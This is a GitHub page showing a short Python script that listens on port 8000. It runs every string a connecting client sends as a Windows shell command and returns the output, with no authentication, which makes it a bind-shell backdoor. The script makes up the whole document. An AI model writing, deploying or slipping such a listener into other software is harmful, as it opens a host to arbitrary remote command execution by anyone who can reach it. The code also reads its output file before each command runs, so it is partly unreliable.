-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathHost_windows-machine.py
More file actions
48 lines (43 loc) · 1.13 KB
/
Copy pathHost_windows-machine.py
File metadata and controls
48 lines (43 loc) · 1.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import socket
import sys
import os
import subprocess
os.system("cd"+">result.txt")
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("socket created")
except:
print("failed to create socket")
sys.exit()
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
PORT = 8000
s.bind((ip_address, PORT))
print(ip_address + ':' +str(PORT))
s.listen(1)
def listToString(s):
# initialize an empty string
str1 = ""
# traverse in the string
for ele in s:
str1 += ele
# return string
return str1
while 1:
file1 = open("result.txt", "r")
client, addr = s.accept()
msg = client.recv(1024).decode()
os.system(msg+">result.txt")
txt = file1.readlines()
stxt = listToString(txt)
print(stxt)
# os.system(msg)
try:
if len(stxt)<= 0:
client.send(bytes("'"+msg + "'is not recognized as an internal or external command,operable program or batch file", "utf-8"))
else:
client.send(bytes(stxt,"utf-8"))
except:
print()
file1.close()
client.close()